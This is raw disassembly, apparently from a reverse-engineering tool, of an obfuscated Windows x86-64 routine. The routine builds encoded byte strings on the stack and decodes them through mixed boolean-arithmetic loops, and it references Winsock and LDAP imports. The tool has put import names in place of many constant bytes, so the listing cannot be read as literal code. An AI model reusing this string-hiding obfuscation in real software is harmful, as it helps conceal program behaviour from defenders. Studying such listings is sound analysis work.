mov r9d, r14d
lea esi, [r14 - 0x3e]
mov r8d, esi
lea rcx, [rbp + 0x1860]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1860]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1860]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0xaa0], 0x9b
mov byte [rbp + 0xaa1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xaa2], 0x90
mov byte [rbp + 0xaa3], 0xdb
mov byte [rbp + 0xaa4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xaa5], Ordinal_217
mov byte [rbp + 0xaa6], 0x7b
mov byte [rbp + 0xaa7], Ordinal_217
mov byte [rbp + 0xaa8], 0x43
mov byte [rbp + 0xaa9], Ordinal_211
mov byte [rbp + 0xaaa], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xaab], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xaac], 0x5e
mov byte [rbp + 0xaad], Ordinal_211
mov byte [rbp + 0xaae], 0x5d
mov byte [rbp + 0xaaf], Ordinal_211
mov byte [rbp + 0xab0], WSASetLastError
mov byte [rbp + 0xab1], 0xc9
mov byte [rbp + 0xab2], 0x7a
mov byte [rbp + 0xab3], 0xcb
mov byte [rbp + 0xab4], Ordinal_79
mov byte [rbp + 0xab5], Ordinal_200
mov byte [rbp + 0xab6], 0x64
mov byte [rbp + 0xab7], Ordinal_200
mov byte [rbp + 0xab8], 0x54
mov byte [rbp + 0xab9], 0xc1
mov byte [rbp + 0xaba], 0x5b
mov byte [rbp + 0xabb], Ordinal_200
mov byte [rbp + 0xabc], 0x9f
mov byte [rbp + 0xabd], 0x3d
mov byte [rbp + 0xabe], 0x9a
mov byte [rbp + 0xabf], 0x3f
mov byte [rbp + 0xac0], 0x84
mov byte [rbp + 0xac1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xac2], 0xa8
mov byte [rbp + 0xac3], Ordinal_60
mov byte [rbp + 0xac4], 0xad
mov byte [rbp + 0xac5], gethostname
mov byte [rbp + 0xac6], 0xb8
mov byte [rbp + 0xac7], Ordinal_60
mov byte [rbp + 0xac8], 0xad
mov byte [rbp + 0xac9], Ordinal_50
mov byte [rbp + 0xaca], 0xa0
mov byte [rbp + 0xacb], gethostname
mov byte [rbp + 0xacc], 0xbf
mov byte [rbp + 0xacd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xace], 0x78
mov byte [rbp + 0xacf], Ordinal_50
mov byte [rbp + 0xad0], Ordinal_143
mov byte [rbp + 0xad1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xad2], 0xb3
mov byte [rbp + 0xad3], Ordinal_46
mov byte [rbp + 0xad4], 0xb2
mov byte [rbp + 0xad5], Ordinal_41
mov byte [rbp + 0xad6], Ordinal_41
mov byte [rbp + 0xad7], Ordinal_41
xor eax, eax
mov qword [rbp + 0xad8], rax
mov dword [rbp + 0xae0], eax
mov word [rbp + 0xae4], ax
mov byte [rbp + 0xae6], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x47
jae 0x14013d2d3
movzx r8d, byte [rbp + r9 + 0xaa0]
mov rdx, r8
cmp rdi, r9
ja 0x14013d2ca
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14013c833
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x14013c86a
je 0x14013d246
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013d216
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013d1f3
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14013d1a5
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x14013d2c1
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14013c89d
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x14013ca60
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14013d194
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013d171
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013d125
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013d0ff
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14013d074
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14013cd56
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013cd42
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14013cd20
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14013cd0e
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14013cced
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14013ccd9
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14013ccb6
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14013cca2
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14013d29e
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14013d278
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14013ca8d
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14013ca67
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14013ca44
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14013cbd9
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14013cbbb
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14013cba7
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14013cb86
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14013cb72
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14013cb4f
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14013cb2c
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14013cb08
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x14013cae5
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14013cad1
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14013cab0
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14013c8eb
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x14013c8eb
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x14013c8de
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013c86a
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x14013c7fb
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x14013d1c4
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x14013ce57
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14013d211
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14013d141
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
jmp 0x14013d234
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14013d237
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14013d083
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x14013ceec
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x14013cd94
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x14013cc36
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x14013d04e
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14013ce15
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 4
jae 0x14013d028
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14013cf23
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
cmp r10, 4
jb 0x14013d01b
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14013d1c6
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x14013d083
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x14013d237
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x14013d10e
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14013d141
movabs rdx, 0xc116b11609a3a288
mov ecx, r12d
jmp 0x14013d180
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x14013d1ee
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x14013d1b4
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14013cd7c
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013cbfa
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013cdab
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013d261
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013cdc8
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x14013d083
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013cdf4
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x14013d237
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14013cbfa
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x14013d180
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013ce3f
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
jmp 0x14013d1c4
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013ce6e
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013d1ee
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013ce9a
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x14013d234
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14013cec4
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14013d093
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14013cef3
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013d0c9
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14013cc38
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x14013d261
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013cf40
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14013cd94
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013cf5d
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14013d083
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14013cf7a
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14013d10e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013cfa4
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x14013d141
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14013cfd0
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
jmp 0x14013d211
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14013cfed
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x14013ce57
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14013cc70
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14013d1c4
mov byte [rbp + r9 + 0xaa0], bl
jmp 0x14013d270
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0xaa0]
sub bl, al
sub bl, 0x60
jmp 0x14013cb24
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0xaa0]
jmp 0x14013d090
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xaa0], al
add r10, r13
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0xaa0], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14013d261
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013d234
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1c
add r8b, cl
add r8b, bl
mov byte [rbp + r9 + 0xaa0], r8b
jmp 0x14013d234
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013d211
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14013d1b4
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xaa0], cl
add r10, r13
jmp 0x14013d211
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, r13
jmp 0x14013d270
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013d270
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0xaa0]
add rax, r10
add r9, rax
add r9, r13
jmp 0x14013c7e8
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013c7e3
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14013c7d3
lea rdx, [rbp + 0x16f11d0]
jmp 0x14013d2da
lea rdx, [rbp + 0x68a534]
jmp 0x14013d2da
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x3c0]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1970]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14013d30f
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x1970]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1970]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1970]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x7c0], 0xcb
mov byte [rbp + 0x7c1], Ordinal_143
mov byte [rbp + 0x7c2], 0xac
mov byte [rbp + 0x7c3], 0xf3
mov byte [rbp + 0x7c4], Ordinal_79
mov byte [rbp + 0x7c5], 0xf1
mov byte [rbp + 0x7c6], WSACleanup
mov byte [rbp + 0x7c7], 0xf7
mov byte [rbp + 0x7c8], 0x55
mov byte [rbp + 0x7c9], 0xf5
mov byte [rbp + 0x7ca], 0xa2
mov byte [rbp + 0x7cb], 0xfb
mov byte [rbp + 0x7cc], 0x66
mov byte [rbp + 0x7cd], 0xf9
mov byte [rbp + 0x7ce], 0x55
mov byte [rbp + 0x7cf], 0xff
mov byte [rbp + 0x7d0], 0x59
mov byte [rbp + 0x7d1], 0xfd
mov byte [rbp + 0x7d2], WSACleanup
mov byte [rbp + 0x7d3], 0xe3
mov byte [rbp + 0x7d4], 0x47
mov byte [rbp + 0x7d5], 0xe1
mov byte [rbp + 0x7d6], Ordinal_79
mov byte [rbp + 0x7d7], 0xe7
mov byte [rbp + 0x7d8], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x7d9], 0xe5
mov byte [rbp + 0x7da], 0x42
mov byte [rbp + 0x7db], 0xeb
mov byte [rbp + 0x7dc], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x7dd], 0xe9
mov byte [rbp + 0x7de], r14b
mov byte [rbp + 0x7df], 0xef
mov byte [rbp + 0x7e0], 0xb8
mov byte [rbp + 0x7e1], 0xed
mov byte [rbp + 0x7e2], 0x87
mov byte [rbp + 0x7e3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7e4], 0x44
mov byte [rbp + 0x7e5], Ordinal_211
mov byte [rbp + 0x7e6], r14b
mov byte [rbp + 0x7e7], Ordinal_217
mov byte [rbp + 0x7e8], 0x81
mov byte [rbp + 0x7e9], Ordinal_217
mov byte [rbp + 0x7ea], 0x7e
mov byte [rbp + 0x7eb], 0xdb
mov byte [rbp + 0x7ec], 0x7c
mov byte [rbp + 0x7ed], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7ee], WSACleanup
mov byte [rbp + 0x7ef], 0xdf
mov byte [rbp + 0x7f0], Ordinal_143
mov byte [rbp + 0x7f1], 0xdd
mov byte [rbp + 0x7f2], 0x64
mov byte [rbp + 0x7f3], Ordinal_200
mov byte [rbp + 0x7f4], WSAGetLastError
mov byte [rbp + 0x7f5], 0xc1
mov byte [rbp + 0x7f6], 0x54
mov byte [rbp + 0x7f7], Ordinal_200
mov byte [rbp + 0x7f8], Ordinal_200
mov byte [rbp + 0x7f9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x7fa], eax
mov word [rbp + 0x7fe], ax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, r14
jae 0x14013e0f7
movzx r9d, byte [rbp + r10 + 0x7c0]
mov r8, r9
cmp rdi, r10
ja 0x14013e0ee
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14013d551
movabs r15, 0xda32561d88143dbe
lea rcx, [r10 + r15]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
sub bl, 0x32
jmp 0x14013d595
je 0x14013e061
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14013e008
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14013dfb2
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14013df89
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14013df3d
movabs r15, 0xda32561d88143dbe
cmp r11, r10
ja 0x14013e0e5
lea rax, [r11 + 4]
cmp rdi, rax
jae 0x14013d5c8
movabs rdx, 0xe621106c29a91096
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
jmp 0x14013d7da
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14013df1f
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14013defc
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14013decc
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14013deae
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x14013daee
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14013dacc
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x14013daa6
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x14013da83
lea rax, [r11 + 9]
cmp rdi, rax
je 0x14013da6f
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14013da4c
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x14013da29
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x14013da15
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x14013d9f2
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14013d9cc
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x14013d609
lea rdi, [r11 + 0x200]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x14013e0bf
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x14013e099
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x14013d807
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x14013d7e1
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x14013d7be
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x14013d9a8
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x14013d994
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x14013d973
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x14013d945
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x14013d609
lea rdi, [r11 + 0x64]
lea r11, [rdi + 0x400]
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x14013d931
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x14013d90f
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x14013d8ee
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x14013d8c8
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x14013d8a5
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14013d884
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x14013d861
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x14013d83e
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x14013d82a
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x14013d609
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 1]
jmp 0x14013d609
movabs rdx, 0x7954c208e2fd862a
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x14013d5fc
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013d595
movabs rdx, 0x108b6992c2ac8f32
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14013d519
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x14013df4c
movabs rcx, 0x7ca3d7263d200934
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6c
jmp 0x14013df84
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 8
jmp 0x14013dfaa
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14013de4c
movabs rcx, 0x5f75d2750ca696c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, r14b
jmp 0x14013de7b
movabs rdx, 0xab112639fc7e1b44
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013deea
movabs rdx, 0xf6ac79feec559fc8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x14013dea7
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x14
jmp 0x14013e02c
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14013d9db
movabs rdx, 0x4ae772f5239f741a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r10 + 0x7c0], bl
jmp 0x14013e091
movabs rdx, 0x9682c6ba1376f89e
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x52
jmp 0x14013db81
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14013db3a
movabs rdx, 0x2db96e43f32601a6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14013db0e
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013e082
movabs rdx, 0xb061b64de9cde808
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14013e02c
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14013debd
movabs rcx, 0x47985dd7c97cf110
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x70
jmp 0x14013deea
